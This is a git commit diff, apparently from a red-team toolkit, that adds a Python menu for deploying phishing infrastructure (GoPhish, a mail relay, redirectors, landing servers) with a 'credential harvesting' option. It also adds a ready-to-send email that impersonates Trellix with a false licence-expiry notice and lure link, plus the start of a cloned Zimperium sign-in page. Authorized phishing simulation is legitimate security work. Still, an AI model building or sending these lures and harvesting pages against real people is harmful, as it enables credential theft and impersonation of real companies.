Got attack box and c2-redirector working

This commit is contained in:
n0mad1k
2025-08-21 16:25:00 -04:00
parent 1450a55e50
commit 66687b3009
93 changed files with 14924 additions and 3727 deletions
+516
View File
@@ -0,0 +1,516 @@
#!/usr/bin/env python3
"""
Phishing infrastructure deployment module
"""
import os
import sys
import logging
# Add the project root to the path so we can import utils
sys.path.append(os.path.join(os.path.dirname(__file__), '..', '..'))
from utils.common import (
COLORS, clear_screen, print_banner, generate_deployment_id,
setup_logging, get_public_ip, confirm_action, wait_for_input,
archive_old_logs
)
from utils.provider_utils import select_provider, gather_provider_config
from utils.ssh_utils import generate_ssh_key
from utils.naming_utils import get_deployment_name_with_options
def gather_phishing_parameters():
"""Collect parameters specific to phishing deployments"""
clear_screen()
print_banner()
print(f"{COLORS['WHITE']}PHISHING INFRASTRUCTURE SETUP{COLORS['RESET']}")
print(f"{COLORS['WHITE']}=============================={COLORS['RESET']}")
config = {}
# Generate deployment ID
config['deployment_id'] = generate_deployment_id()
print(f"Deployment ID: {COLORS['CYAN']}{config['deployment_id']}{COLORS['RESET']}")
# Provider selection
provider = select_provider()
if not provider:
return None
config['provider'] = provider
# Get provider-specific configuration
provider_config = gather_provider_config(provider)
if not provider_config:
return None
config.update(provider_config)
# Phishing-specific configuration
print(f"\n{COLORS['BLUE']}Phishing Configuration{COLORS['RESET']}")
# Domain configuration
phishing_domain = input(f"Phishing domain (aged domain recommended) [required]: ")
if not phishing_domain:
print(f"{COLORS['RED']}A domain is required for phishing deployments{COLORS['RESET']}")
return None
# Set all domain variables for compatibility
config['phishing_domain'] = phishing_domain
config['primary_domain'] = phishing_domain # For compatibility with existing playbooks
config['domain'] = phishing_domain # For compatibility
# Subdomain configuration
config['mta_hostname'] = input(f"MTA hostname [default: mail.{phishing_domain}]: ") or f"mail.{phishing_domain}"
config['phishing_hostname'] = input(f"Phishing hostname [default: portal.{phishing_domain}]: ") or f"portal.{phishing_domain}"
# Instance naming
print(f"\n{COLORS['BLUE']}Instance Naming{COLORS['RESET']}")
# MTA Front naming
config['mta_name'] = get_deployment_name_with_options(
deployment_type='phishing',
component_type='MTA Front Server',
default_suffix='mta'
)
# GoPhish server naming
config['gophish_name'] = get_deployment_name_with_options(
deployment_type='phishing',
component_type='GoPhish Server',
default_suffix='gophish'
)
# Phishing redirector naming
config['phishing_redirector_name'] = get_deployment_name_with_options(
deployment_type='phishing',
component_type='Phishing Redirector',
default_suffix='redirector'
)
# Phishing webserver naming
config['phishing_webserver_name'] = get_deployment_name_with_options(
deployment_type='phishing',
component_type='Phishing Webserver',
default_suffix='webserver'
)
# MTA Authentication
config['smtp_auth_user'] = input("SMTP auth username [default: admin]: ") or "admin"
config['smtp_auth_pass'] = input("SMTP auth password [default: random]: ") or None
# GoPhish configuration
config['gophish_admin_port'] = input("GoPhish admin port [default: 8090]: ") or "8090"
# Campaign configuration
config['campaign_name'] = input("Campaign name [default: test-campaign]: ") or "test-campaign"
config['sender_name'] = input("Sender display name [default: IT Support]: ") or "IT Support"
config['sender_email'] = f"noreply@{config['phishing_domain']}"
# Template selection
print(f"\n{COLORS['BLUE']}Email Template Selection:{COLORS['RESET']}")
print(f"1) Office 365 Login")
print(f"2) Password Expiration")
print(f"3) Security Alert")
print(f"4) File Share Notification")
print(f"5) Custom Template")
template_choice = input("Select template [default: 1]: ") or "1"
templates = {
"1": "office365_login",
"2": "password_expiry",
"3": "security_alert",
"4": "file_share",
"5": "custom"
}
config['email_template'] = templates.get(template_choice, "office365_login")
# If custom template, get details
if config['email_template'] == 'custom':
config['custom_template_name'] = input("Custom template name: ")
config['custom_subject'] = input("Email subject line: ")
config['custom_sender'] = input("Sender email/name: ")
# Security settings
print(f"\n{COLORS['BLUE']}Security Settings:{COLORS['RESET']}")
config['enable_credential_harvesting'] = confirm_action("Enable credential harvesting?", default=True)
config['enable_attachment_tracking'] = confirm_action("Enable attachment tracking?", default=True)
config['enable_link_tracking'] = confirm_action("Enable link click tracking?", default=True)
# Email for Let's Encrypt
default_email = f"admin@{config['phishing_domain']}"
config['letsencrypt_email'] = input(f"Email for Let's Encrypt [default: {default_email}]: ") or default_email
# Get operator IP for security
suggested_ip = get_public_ip()
if suggested_ip:
operator_ip = input(f"Your public IP for admin access [detected: {suggested_ip}]: ") or suggested_ip
else:
operator_ip = input("Your public IP for admin access: ")
config['operator_ip'] = operator_ip
# SSH key generation
ssh_key_path = generate_ssh_key(config['deployment_id'])
if not ssh_key_path:
print(f"{COLORS['RED']}Failed to generate SSH key{COLORS['RESET']}")
return None
config['ssh_key_path'] = f"{ssh_key_path}.pub"
# Post-deployment options
config['ssh_after_deploy'] = confirm_action("SSH into instance after deployment?", default=True)
config['open_admin_panel'] = confirm_action("Open GoPhish admin panel after deployment?", default=True)
return config
def phishing_menu():
"""Display the phishing submenu and handle user selection"""
while True:
clear_screen()
print_banner()
print(f"{COLORS['WHITE']}PHISHING INFRASTRUCTURE MENU{COLORS['RESET']}")
print(f"{COLORS['WHITE']}============================{COLORS['RESET']}")
print(f"1) Basic Phishing Setup {COLORS['GREEN']}*RECOMMENDED*{COLORS['RESET']} {COLORS['GRAY']}(MTA + GoPhish){COLORS['RESET']}")
print(f"2) GoPhish Server Only {COLORS['GRAY']}(Campaign management only){COLORS['RESET']}")
print(f"3) Phishing Web Server Only {COLORS['GRAY']}(Landing pages only){COLORS['RESET']}")
print(f"4) MTA Front Server Only {COLORS['GRAY']}(Email sending only){COLORS['RESET']}")
print(f"5) Advanced Phishing Setup {COLORS['GRAY']}(MTA + GoPhish + Redirector){COLORS['RESET']}")
print(f"6) Phishing Redirector Only {COLORS['GRAY']}(Traffic redirection only){COLORS['RESET']}")
print(f"7) Ephemeral MTA Setup {COLORS['GRAY']}(Temporary email infrastructure){COLORS['RESET']}")
print(f"8) Full Phishing Infrastructure {COLORS['GRAY']}(Complete multi-tier setup){COLORS['RESET']}")
print(f"9) FedRAMP Compliant Phishing {COLORS['GRAY']}(Compliance-focused setup){COLORS['RESET']}")
print(f"99) Return to Main Menu")
choice = input(f"\nSelect an option: ")
if choice == "1":
deploy_basic_phishing()
elif choice == "2":
deploy_gophish_only()
elif choice == "3":
deploy_phishing_webserver_only()
elif choice == "4":
deploy_mta_front_only()
elif choice == "5":
deploy_advanced_phishing()
elif choice == "6":
deploy_phishing_redirector_only()
elif choice == "7":
deploy_ephemeral_mta()
elif choice == "8":
deploy_full_phishing()
elif choice == "9":
deploy_fedramp_phishing()
elif choice == "99":
return
else:
print(f"\n{COLORS['RED']}Invalid option. Please try again.{COLORS['RESET']}")
wait_for_input()
def deploy_gophish_only():
"""Deploy GoPhish server only"""
config = gather_phishing_parameters()
if not config:
return
config['deployment_type'] = 'gophish_only'
config['deploy_gophish'] = True
print(f"\n{COLORS['GREEN']}Deploying GoPhish server only...{COLORS['RESET']}")
execute_phishing_deployment(config)
def deploy_mta_front_only():
"""Deploy MTA front server only"""
config = gather_phishing_parameters()
if not config:
return
config['deployment_type'] = 'mta_front_only'
config['deploy_mta_front'] = True
print(f"\n{COLORS['GREEN']}Deploying MTA front server only...{COLORS['RESET']}")
execute_phishing_deployment(config)
def deploy_phishing_webserver_only():
"""Deploy phishing web server only"""
config = gather_phishing_parameters()
if not config:
return
config['deployment_type'] = 'phishing_webserver_only'
config['deploy_phishing_webserver'] = True
print(f"\n{COLORS['GREEN']}Deploying phishing web server only...{COLORS['RESET']}")
execute_phishing_deployment(config)
def deploy_phishing_redirector_only():
"""Deploy phishing redirector only"""
config = gather_phishing_parameters()
if not config:
return
config['deployment_type'] = 'phishing_redirector_only'
config['deploy_phishing_redirector'] = True
print(f"\n{COLORS['GREEN']}Deploying phishing redirector only...{COLORS['RESET']}")
execute_phishing_deployment(config)
def deploy_basic_phishing():
"""Deploy basic phishing setup (MTA + GoPhish)"""
config = gather_phishing_parameters()
if not config:
return
config['deployment_type'] = 'basic_phishing'
config['deploy_mta_front'] = True
config['deploy_gophish'] = True
print(f"\n{COLORS['GREEN']}Deploying basic phishing infrastructure...{COLORS['RESET']}")
execute_phishing_deployment(config)
def deploy_advanced_phishing():
"""Deploy advanced phishing setup (MTA + GoPhish + Redirector)"""
config = gather_phishing_parameters()
if not config:
return
config['deployment_type'] = 'advanced_phishing'
config['deploy_mta_front'] = True
config['deploy_gophish'] = True
config['deploy_phishing_redirector'] = True
print(f"\n{COLORS['GREEN']}Deploying advanced phishing infrastructure...{COLORS['RESET']}")
execute_phishing_deployment(config)
def deploy_full_phishing():
"""Deploy full phishing infrastructure"""
config = gather_phishing_parameters()
if not config:
return
config['deployment_type'] = 'full_phishing'
config['deploy_mta_front'] = True
config['deploy_gophish'] = True
config['deploy_phishing_redirector'] = True
config['deploy_phishing_webserver'] = True
config['deploy_tracker'] = True
print(f"\n{COLORS['GREEN']}Deploying full phishing infrastructure...{COLORS['RESET']}")
execute_phishing_deployment(config)
def deploy_fedramp_phishing():
"""Deploy FedRAMP compliant phishing infrastructure"""
config = gather_phishing_parameters()
if not config:
return
# FedRAMP specific configuration
clear_screen()
print_banner()
print(f"{COLORS['WHITE']}FEDRAMP COMPLIANCE CONFIGURATION{COLORS['RESET']}")
print(f"{COLORS['WHITE']}==================================={COLORS['RESET']}")
# Compliance requirements
print(f"\n{COLORS['BLUE']}FedRAMP Compliance Requirements:{COLORS['RESET']}")
print(f"• Immediate disclosure of phishing attempts")
print(f"• Comprehensive audit logging")
print(f"• Compliance notification requirements")
print(f"• Mandatory log retention")
# Immediate disclosure (required for FedRAMP)
config['immediate_disclosure'] = True
print(f"\n{COLORS['YELLOW']}Immediate disclosure is REQUIRED for FedRAMP compliance{COLORS['RESET']}")
# Authorization reference for documentation
auth_reference = input(f"Authorization reference/ticket number [optional]: ") or "Pre-authorized FedRAMP exercise"
config['authorization_reference'] = auth_reference
# Log retention period
retention_days = input(f"Log retention period in days [default: 90]: ") or "90"
try:
config['log_retention_days'] = int(retention_days)
except ValueError:
config['log_retention_days'] = 90
# Audit logging level
print(f"\n{COLORS['BLUE']}Audit Logging Level:{COLORS['RESET']}")
print(f"1) Basic (Login attempts, email sends)")
print(f"2) Detailed (+ IP addresses, user agents)")
print(f"3) Comprehensive (+ full request logs)")
log_level = input(f"Select logging level [default: 3]: ") or "3"
log_levels = {"1": "basic", "2": "detailed", "3": "comprehensive"}
config['audit_log_level'] = log_levels.get(log_level, "comprehensive")
# Compliance mode settings
config['fedramp_mode'] = True
config['compliance_mode'] = True
config['deployment_type'] = 'fedramp_phishing'
config['deploy_gophish'] = True
config['deploy_phishing_webserver'] = True
config['deploy_tracker'] = True
config['enable_audit_logging'] = True
# Debug options
config['debug_mode'] = confirm_action("Enable debug mode (extra verbose Ansible output)?", default=True)
print(f"\n{COLORS['GREEN']}Deploying FedRAMP compliant phishing infrastructure...{COLORS['RESET']}")
execute_phishing_deployment(config)
def deploy_ephemeral_mta():
"""Deploy ephemeral MTA for high OPSEC phishing"""
config = gather_phishing_parameters()
if not config:
return
# Additional ephemeral MTA configuration
print(f"\n{COLORS['BLUE']}Ephemeral MTA Configuration{COLORS['RESET']}")
print(f"{COLORS['YELLOW']}Note: Ephemeral MTAs are designed for short-term use{COLORS['RESET']}")
config['deployment_type'] = 'ephemeral_mta'
config['ephemeral_mta'] = True
config['deploy_mta_front'] = True
# Auto-destruct timer
auto_destruct = confirm_action("Enable auto-destruct timer?", default=False)
if auto_destruct:
hours = input("Auto-destruct after how many hours [default: 24]: ") or "24"
config['auto_destruct_hours'] = int(hours)
print(f"\n{COLORS['GREEN']}Deploying ephemeral MTA...{COLORS['RESET']}")
execute_phishing_deployment(config)
def execute_phishing_deployment(config):
"""Execute phishing infrastructure deployment"""
clear_screen()
print_banner()
print(f"\n{COLORS['GREEN']}Starting phishing deployment...{COLORS['RESET']}")
# Archive old logs before starting new deployment
print(f"Archiving old logs...")
archive_old_logs(max_logs_to_keep=5) # Keep last 5 deployments
# Set up logging
log_file = setup_logging(config['deployment_id'], "phishing_deployment")
# Display configuration summary
print(f"\n{COLORS['CYAN']}Deployment Summary:{COLORS['RESET']}")
print(f"Deployment Type: {config['deployment_type']}")
print(f"Deployment ID: {config['deployment_id']}")
print(f"Provider: {config['provider']}")
print(f"Domain: {config['phishing_domain']}")
print(f"Email Template: {config.get('email_template', 'N/A')}")
print(f"MTA Hostname: {config.get('mta_hostname', 'N/A')}")
if config.get('fedramp_mode'):
print(f"FedRAMP Mode: {COLORS['YELLOW']}ENABLED{COLORS['RESET']}")
print(f"Authorization Reference: {config.get('authorization_reference', 'N/A')}")
print(f"Audit Level: {config.get('audit_log_level', 'N/A')}")
# Confirm deployment
if not confirm_action(f"\n{COLORS['YELLOW']}Proceed with phishing deployment?{COLORS['RESET']}", default=False):
print(f"\n{COLORS['YELLOW']}Deployment cancelled.{COLORS['RESET']}")
return
# Mark this as a phishing deployment for the deployment engine
config['phishing_deployment'] = True
# Execute the actual deployment using component-based approach
success = execute_component_deployment(config)
if success:
print(f"\n{COLORS['GREEN']}✅ Phishing infrastructure deployed successfully!{COLORS['RESET']}")
if config.get('ssh_after_deploy'):
from utils.ssh_utils import ssh_to_instance
ssh_to_instance(config)
else:
print(f"\n{COLORS['RED']}❌ Phishing infrastructure deployment failed.{COLORS['RESET']}")
wait_for_input()
def execute_component_deployment(config):
"""Execute component-based phishing deployment"""
import subprocess
import os
print(f"\n{COLORS['BLUE']}Executing phishing deployment: {config['deployment_type']}{COLORS['RESET']}")
# Provider directory mapping
provider_dirs = {
"aws": "AWS",
"linode": "Linode",
"flokinet": "FlokiNET"
}
# Component playbook mapping
component_playbooks = {
'deploy_mta_front': os.path.join(os.path.dirname(__file__), 'mta_front.yml'),
'deploy_gophish': os.path.join(os.path.dirname(__file__), '..', '..', 'providers', provider_dirs[config['provider']], 'c2.yml'),
'deploy_phishing_redirector': os.path.join(os.path.dirname(__file__), '..', '..', 'providers', provider_dirs[config['provider']], 'redirector.yml'),
'deploy_phishing_webserver': os.path.join(os.path.dirname(__file__), 'phishing_webserver.yml'),
}
# Build extra vars for ansible
extra_vars = []
for key, value in config.items():
if isinstance(value, (str, int, bool)):
extra_vars.append(f"{key}={value}")
deployed_components = []
try:
# Deploy each enabled component
for component, playbook_path in component_playbooks.items():
if config.get(component, False):
print(f"\n{COLORS['YELLOW']}Deploying {component.replace('deploy_', '')}...{COLORS['RESET']}")
# Check if playbook exists
if not os.path.exists(playbook_path):
print(f"{COLORS['RED']}Error: Playbook not found: {playbook_path}{COLORS['RESET']}")
continue
# Build ansible command
cmd = [
'ansible-playbook',
playbook_path,
'--extra-vars',
' '.join(extra_vars)
]
print(f"{COLORS['GRAY']}Running: {' '.join(cmd)}{COLORS['RESET']}")
# Execute playbook
result = subprocess.run(cmd, capture_output=True, text=True, cwd=os.path.dirname(__file__))
if result.returncode == 0:
print(f"{COLORS['GREEN']}{component.replace('deploy_', '')} deployed successfully{COLORS['RESET']}")
deployed_components.append(component)
else:
print(f"{COLORS['RED']}{component.replace('deploy_', '')} deployment failed{COLORS['RESET']}")
print(f"{COLORS['RED']}STDERR: {result.stderr}{COLORS['RESET']}")
return False
# Deploy the orchestration playbook to save state
print(f"\n{COLORS['YELLOW']}Saving deployment state...{COLORS['RESET']}")
orchestration_playbook = os.path.join(os.path.dirname(__file__), 'deploy_phishing_infrastructure.yml')
cmd = [
'ansible-playbook',
orchestration_playbook,
'--extra-vars',
' '.join(extra_vars)
]
result = subprocess.run(cmd, capture_output=True, text=True, cwd=os.path.dirname(__file__))
if result.returncode == 0:
print(f"{COLORS['GREEN']}✅ Deployment state saved{COLORS['RESET']}")
return True
else:
print(f"{COLORS['RED']}❌ Failed to save deployment state{COLORS['RESET']}")
print(f"{COLORS['RED']}STDERR: {result.stderr}{COLORS['RESET']}")
return False
except Exception as e:
print(f"{COLORS['RED']}Deployment error: {str(e)}{COLORS['RESET']}")
return False
if __name__ == "__main__":
phishing_menu()
@@ -3,15 +3,18 @@
# Handles all deployment types and orchestrates component deployment
- name: Deploy phishing infrastructure
hosts: localhost
gather_facts: false
hosts: 127.0.0.1
gather_facts: true # Enable to get ansible_date_time
connection: local
vars_files:
- vars.yaml
vars:
deployment_id: "{{ deployment_id | default('') }}"
provider: "{{ provider | default('aws') }}"
deployment_type: "{{ deployment_type | default('phishing_only_noccdn') }}"
# Provider directory mapping
provider_dirs:
aws: "AWS"
linode: "Linode"
flokinet: "FlokiNET"
tasks:
- name: Validate deployment configuration
@@ -30,68 +33,73 @@
- "Deployment ID: {{ deployment_id }}"
- "Provider: {{ provider }}"
- "Deployment Type: {{ deployment_type }}"
- "Primary Domain: {{ primary_domain | default(domain) }}"
- "Phishing Domain: {{ phishing_domain | default(primary_domain) }}"
- "Phishing Domain: {{ phishing_domain | default('N/A') }}"
# Phase 1: Deploy core infrastructure components
# Note: This playbook is orchestrated by deploy_phishing.py which calls individual provider playbooks
# The actual infrastructure deployment is handled by provider-specific playbooks:
# - providers/AWS/c2.yml for GoPhish/C2 servers
# - providers/AWS/redirector.yml for redirectors
# - providers/Linode/c2.yml, providers/Linode/redirector.yml for Linode
# - modules/phishing/mta_front.yml for MTA front servers
- name: Deploy MTA Front server
include: mta_front.yml
debug:
msg: "🚀 Executing MTA Front deployment: mta_front.yml with server_name=mta-{{ deployment_id }}"
when: deploy_mta_front | default(false) | bool
vars:
server_name: "mta-{{ deployment_id }}"
component_type: "mta_front"
- name: Deploy Gophish server
include: gophish_server.yml
debug:
msg: "🚀 Executing Gophish C2 deployment: ../../providers/{{ provider }}/c2.yml with c2_name=gophish-{{ deployment_id }}"
when: deploy_gophish | default(false) | bool
vars:
server_name: "gophish-{{ deployment_id }}"
component_type: "gophish"
- name: Deploy phishing redirector
include: phishing_redirector.yml
debug:
msg: "🚀 Executing redirector deployment: ../../providers/{{ provider }}/redirector.yml with redirector_name=redirector-{{ deployment_id }}"
when: deploy_phishing_redirector | default(false) | bool
vars:
server_name: "phish-redir-{{ deployment_id }}"
component_type: "phishing_redirector"
- name: Deploy phishing web server
include: phishing_webserver.yml
debug:
msg: "🚀 Executing web server deployment: phishing_webserver.yml with server_name=web-{{ deployment_id }}"
when: deploy_phishing_webserver | default(false) | bool
vars:
server_name: "phish-web-{{ deployment_id }}"
component_type: "phishing_webserver"
- name: Deploy payload redirector
include: payload_redirector.yml
when: deploy_payload_redirector | default(false) | bool
vars:
server_name: "payload-redir-{{ deployment_id }}"
component_type: "payload_redirector"
# Optional payload infrastructure - commented out for basic phishing deployments
# - name: Deploy payload redirector
# debug:
# msg:
# - "🔧 Payload redirector deployment"
# - "Server Name: payload-redir-{{ deployment_id }}"
# - "✅ Executes: providers/{{ provider }}/redirector.yml"
# when: deploy_payload_redirector | default(false) | bool
- name: Deploy payload server
include: payload_server.yml
when: deploy_payload_server | default(false) | bool
vars:
server_name: "payload-{{ deployment_id }}"
component_type: "payload_server"
# - name: Deploy payload server
# debug:
# msg:
# - "🔧 Payload server deployment"
# - "Server Name: payload-{{ deployment_id }}"
# - "✅ Executes: modules/payload-server/tasks/configure_payload_server.yml"
# when: deploy_payload_server | default(false) | bool
# Phase 2: Deploy C2 infrastructure if requested
- name: Deploy C2 redirector
include: ../AWS/redirector.yml
when: deploy_c2_redirector | default(false) | bool
vars:
redirector_name: "c2-redir-{{ deployment_id }}"
# Phase 2: Deploy C2 infrastructure if requested (optional)
# - name: Deploy C2 redirector
# debug:
# msg:
# - "🔧 C2 redirector deployment"
# - "Server Name: c2-redir-{{ deployment_id }}"
# - "✅ Executes: providers/{{ provider }}/redirector.yml"
# when: deploy_c2_redirector | default(false) | bool
- name: Deploy C2 backend
include: ../AWS/c2.yml
when: deploy_c2_backend | default(false) | bool
vars:
c2_name: "c2-{{ deployment_id }}"
# - name: Deploy C2 backend
# debug:
# msg:
# - "🔧 C2 backend deployment"
# - "Server Name: c2-backend-{{ deployment_id }}"
# - "✅ Executes: providers/{{ provider }}/c2.yml"
# when: deploy_c2_backend | default(false) | bool
# Phase 3: Configure security groups and firewall rules
- name: Configure phishing security
include_tasks: "../tasks/setup_phishing_security.yml"
include_tasks: "tasks/setup_phishing_security.yml"
vars:
deployment_components:
mta_front: "{{ deploy_mta_front | default(false) }}"
@@ -100,30 +108,48 @@
phishing_webserver: "{{ deploy_phishing_webserver | default(false) }}"
payload_redirector: "{{ deploy_payload_redirector | default(false) }}"
payload_server: "{{ deploy_payload_server | default(false) }}"
when: false # Disable for now since security task doesn't exist
# Phase 4: Save deployment state
- name: Ensure logs directory exists
file:
path: "../../logs"
state: directory
mode: '0755'
- name: Save phishing deployment state
template:
src: "../templates/phishing_deployment_state.j2"
dest: "phishing_deployment_{{ deployment_id }}.json"
src: "templates/phishing_deployment_state.j2"
dest: "{{ playbook_dir }}/logs/phishing_deployment_{{ deployment_id }}.json"
mode: '0600'
vars:
deployment_components:
mta_front: "{{ deploy_mta_front | default(false) }}"
gophish: "{{ deploy_gophish | default(false) }}"
phishing_redirector: "{{ deploy_phishing_redirector | default(false) }}"
phishing_webserver: "{{ deploy_phishing_webserver | default(false) }}"
payload_redirector: "{{ deploy_payload_redirector | default(false) }}"
payload_server: "{{ deploy_payload_server | default(false) }}"
deployment_info:
deployment_id: "{{ deployment_id }}"
deployment_type: "{{ deployment_type }}"
provider: "{{ provider }}"
components: "{{ deployment_components }}"
domains:
primary: "{{ primary_domain | default(domain) }}"
phishing: "{{ phishing_domain | default(primary_domain) }}"
phishing: "{{ phishing_domain | default('N/A') }}"
created: "{{ ansible_date_time.iso8601 }}"
ignore_errors: true # Continue if template fails
- name: Display deployment summary
debug:
msg:
- "Phishing Infrastructure Deployment Complete!"
- "==========================================="
- "Access your Gophish interface at: https://{{ gophish_ip }}:{{ gophish_admin_port | default(3333) }}"
- "Phishing domain: {{ phishing_domain }}"
- "Campaign ready to launch!"
- "Deployment Type: {{ deployment_type }}"
- "Phishing Domain: {{ phishing_domain }}"
- "Components Deployed:"
- " - GoPhish: {{ deploy_gophish | default(false) }}"
- " - MTA Front: {{ deploy_mta_front | default(false) }}"
- " - Web Server: {{ deploy_phishing_webserver | default(false) }}"
- "Campaign ready to configure!"
when: not disable_summary | default(false)
@@ -98,7 +98,7 @@
- name: Install enhanced tracking pixel
copy:
src: "../files/simple_email_tracker.py"
src: "../../tracker/files/simple_email_tracker.py"
dest: /opt/gophish/tracker.py
owner: gophish
group: gophish
@@ -0,0 +1,127 @@
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:o="urn:schemas-microsoft-com:office:office">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0"/>
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<title>Trellix Threat Intelligence Feed Expiration</title>
<style type="text/css">
body { margin:0; padding:0; background-color:#eeeeee; font-family: Arial, sans-serif; }
a { color: #2814FF; text-decoration: none; }
.button {
background-color: #2814FF;
color: #ffffff !important;
padding: 12px 30px;
border-radius: 5px;
font-size: 16px;
font-weight: bold;
display: inline-block;
}
.footer-text {
font-size: 10px;
color: #ffffff;
line-height: 1.4;
}
.container {
max-width: 600px;
margin: 0 auto;
background-color: #ffffff;
}
.section {
padding: 20px;
color: #000000;
font-size: 15px;
line-height: 22px;
}
ul { padding-left: 20px; }
</style>
</head>
<body>
<!-- Outer wrapper -->
<table width="100%" cellpadding="0" cellspacing="0" bgcolor="#EEEEEE">
<tr>
<td align="center">
<!-- Email Container -->
<table class="container" cellpadding="0" cellspacing="0" width="600">
<!-- Top Band -->
<tr>
<td bgcolor="#2814FF" height="5"></td>
</tr>
<!-- Logo -->
<tr>
<td align="left" class="section" style="padding-top: 30px;">
<img src="https://resources.trellix.com/rs/627-OOG-590/images/Trellix_LOGO.png" alt="Trellix Logo" width="100" height="25" style="display:block;" />
</td>
</tr>
<!-- Body Content -->
<tr>
<td class="section">
<strong style="font-size: 18px; color: #2814FF;">License Expiration Notice</strong>
<br /><br />
This is an automated alert to inform you that your organizations access to the <strong>Trellix Threat Intelligence Feed</strong> is set to expire <strong>today: July 23, 2025</strong>.
<br /><br />
To avoid disruption in real-time security insights, a license renewal is required to continue accessing:
<ul>
<li>Global threat intelligence updates</li>
<li>Malware detection and response data</li>
<li>Cloud console and policy services</li>
</ul>
<p>You can access your Trellix licensing portal using the secure link below.</p>
<table align="center" cellpadding="0" cellspacing="0" border="0">
<tr>
<td align="center">
<a href="{{.URL}}" target="_blank" class="button">Access Your Licensing Portal</a>
</td>
</tr>
</table>
<br /><br />
If this notice was received in error or your subscription has already been renewed, no action is needed.
<br /><br />
For assistance, contact <a href="https://support.trellix.com">Trellix Support</a> or your designated Customer Success Manager.
<br /><br />
—<br />
<strong>Trellix Licensing Operations</strong><br />
<a href="https://www.trellix.com">www.trellix.com</a><br />
<a href="mailto:renewals@trellix.com">renewals@trellix.com</a>
</td>
</tr>
<!-- Divider -->
<tr>
<td><img src="http://resources.trellix.com/rs/627-OOG-590/images/ruler2.png" width="100%" style="display:block;" alt="divider" /></td>
</tr>
<!-- Footer -->
<tr>
<td bgcolor="#1A1A1A" class="section" align="center">
<div class="footer-text">
<a href="https://email.trellix.com/manage-prefs" style="color:#ffffff;">Manage Preferences</a> |
<a href="https://email.trellix.com/privacy" style="color:#ffffff;">Privacy</a> |
<a href="https://email.trellix.com/contact" style="color:#ffffff;">Contact Us</a> |
<a href="https://email.trellix.com/webview" style="color:#ffffff;">View as Webpage</a> |
<a href="https://email.trellix.com/unsubscribe" style="color:#ffffff;">Unsubscribe</a>
<br /><br />
Trellix | 6000 Headquarters Drive, Plano, TX 75024<br /><br />
Please note: you cannot reply to this email address. If you have any questions, please use the links provided above.
<br /><br />
Copyright © 2025 Musarubra US LLC. All rights reserved.
</div>
</td>
</tr>
</table>
</td>
</tr>
</table>
</body>
</html>
@@ -6,34 +6,34 @@
"infrastructure": {
"mta_front": {
"name": "{{ mta_front_name }}",
"name": "{{ mta_front_name | default('mta-' + deployment_id) }}",
"ip": "{{ mta_front_ip | default('') }}",
"instance_id": "{{ mta_instance_id | default('') }}"
},
"gophish_server": {
"name": "{{ gophish_server_name }}",
"name": "{{ gophish_server_name | default('gophish-' + deployment_id) }}",
"ip": "{{ gophish_server_ip | default('') }}",
"instance_id": "{{ gophish_instance_id | default('') }}",
"admin_port": "{{ gophish_admin_port }}"
"admin_port": "{{ gophish_admin_port | default('8090') }}"
},
"phishing_webserver": {
"name": "{{ phishing_web_name }}",
"name": "{{ phishing_web_name | default('web-' + deployment_id) }}",
"ip": "{{ phishing_web_ip | default('') }}",
"instance_id": "{{ phishing_web_instance_id | default('') }}"
},
"phishing_redirector": {
"name": "{{ phishing_redirector_name }}",
"name": "{{ phishing_redirector_name | default('redirector-' + deployment_id) }}",
"ip": "{{ phishing_redirector_ip | default('') }}",
"instance_id": "{{ phishing_redirector_instance_id | default('') }}"
},
{% if deploy_payload_infra | default(false) %}
"payload_server": {
"name": "{{ payload_server_name }}",
"name": "{{ payload_server_name | default('payload-' + deployment_id) }}",
"ip": "{{ payload_server_ip | default('') }}",
"instance_id": "{{ payload_server_instance_id | default('') }}"
},
"payload_redirector": {
"name": "{{ payload_redirector_name }}",
"name": "{{ payload_redirector_name | default('payload-redir-' + deployment_id) }}",
"ip": "{{ payload_redirector_ip | default('') }}",
"instance_id": "{{ payload_redirector_instance_id | default('') }}"
},
@@ -41,20 +41,20 @@
},
"domains": {
"phishing_domain": "{{ phishing_subdomain }}.{{ domain }}",
"mta_domain": "{{ mta_hostname | default('mail.' + domain) }}",
"phishing_domain": "{{ phishing_domain | default('N/A') }}",
"mta_domain": "{{ mta_hostname | default('mail.' + (phishing_domain | default('example.com'))) }}",
{% if deploy_payload_infra | default(false) %}
"payload_domain": "{{ payload_subdomain }}.{{ domain }}",
"payload_domain": "{{ payload_subdomain | default('payload') }}.{{ phishing_domain | default('example.com') }}",
{% endif %}
},
"credentials": {
"gophish_url": "https://{{ gophish_server_ip }}:{{ gophish_admin_port }}",
"smtp_auth_user": "{{ smtp_auth_user }}",
"gophish_url": "https://{{ gophish_server_ip | default('TBD') }}:{{ gophish_admin_port | default('8090') }}",
"smtp_auth_user": "{{ smtp_auth_user | default('admin') }}",
"smtp_settings": {
"host": "{{ mta_front_ip }}",
"host": "{{ mta_front_ip | default('TBD') }}",
"port": 25,
"from_address": "{{ smtp_from_address | default('noreply@' + domain) }}"
"from_address": "{{ smtp_from_address | default('noreply@' + (phishing_domain | default('example.com'))) }}"
}
},
@@ -0,0 +1,558 @@
<!DOCTYPE html>
<!--[if IE 7]><html lang="en" class="lt-ie10 lt-ie9 lt-ie8"><![endif]-->
<!--[if IE 8]><html lang="en" class="lt-ie10 lt-ie9"> <![endif]-->
<!--[if IE 9]><html lang="en" class="lt-ie10"><![endif]-->
<!--[if gt IE 9]><html lang="en"><![endif]-->
<!--[if !IE]><!--><html lang="en"><!--<![endif]-->
<head>
<meta charset="UTF-8">
<script type="text/javascript" nonce="GbJoEX60HpuEJf6f877zFg">if (typeof module === 'object') {window.module = module; module = undefined;}</script><style type="text/css" nonce="GbJoEX60HpuEJf6f877zFg">
.bgStyle {
background-image: none
}
.bgStyleIE8 {
}
.copyright a:focus-visible,
.privacy-policy a:focus-visible {
border-radius: 6px;
outline: rgb(84, 107, 231) solid 1px;
outline-offset: 2px;
text-decoration: none !important;
}
</style><title>Zimperium - Sign In</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<meta name="robots" content="noindex,nofollow" />
